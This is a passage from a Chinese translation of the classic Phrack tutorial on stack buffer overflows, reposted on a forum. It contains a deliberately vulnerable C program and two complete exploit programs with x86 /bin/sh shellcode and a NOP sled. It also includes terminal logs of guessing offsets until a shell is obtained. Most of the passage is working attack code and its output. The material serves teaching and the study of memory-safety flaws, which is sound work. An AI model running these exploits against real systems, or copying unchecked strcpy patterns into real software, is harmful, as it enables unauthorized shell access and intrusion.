| |
缓冲区溢出的原理和实践(Phrack) |
|
时间: 2006-11-10 来自:PConline论坛 |
 |
|
如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在 buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任 何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址 就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我 们的shellcode中, 得到一个shell.
我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个 缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址 都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈 的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出 它的堆栈指针:
sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------
------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------
假定我们要使其溢出的程序如下: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512];
if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------
我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起 的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符 串放到一个环境变量中, 这样就容易操作一些.
exploit2.c ------------------------------------------------------------------------------ #include <stdlib.h>
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;
if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }
addr = get_sp() - offset; printf("Using address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------
现在我们尝试猜测缓冲区的大小和偏移量:
------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ 正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝 试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题 的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们 也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填 充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来 填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够 幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的 shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈 的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高 地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________|
堆栈顶端 堆栈底部
新的破解程序如下: exploit3.c ------------------------------------------------------------------------------ #include <stdlib.h>
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;
if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }
addr = get_sp() - offset; printf("Using address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------
|
|
|
|
|
|
|
|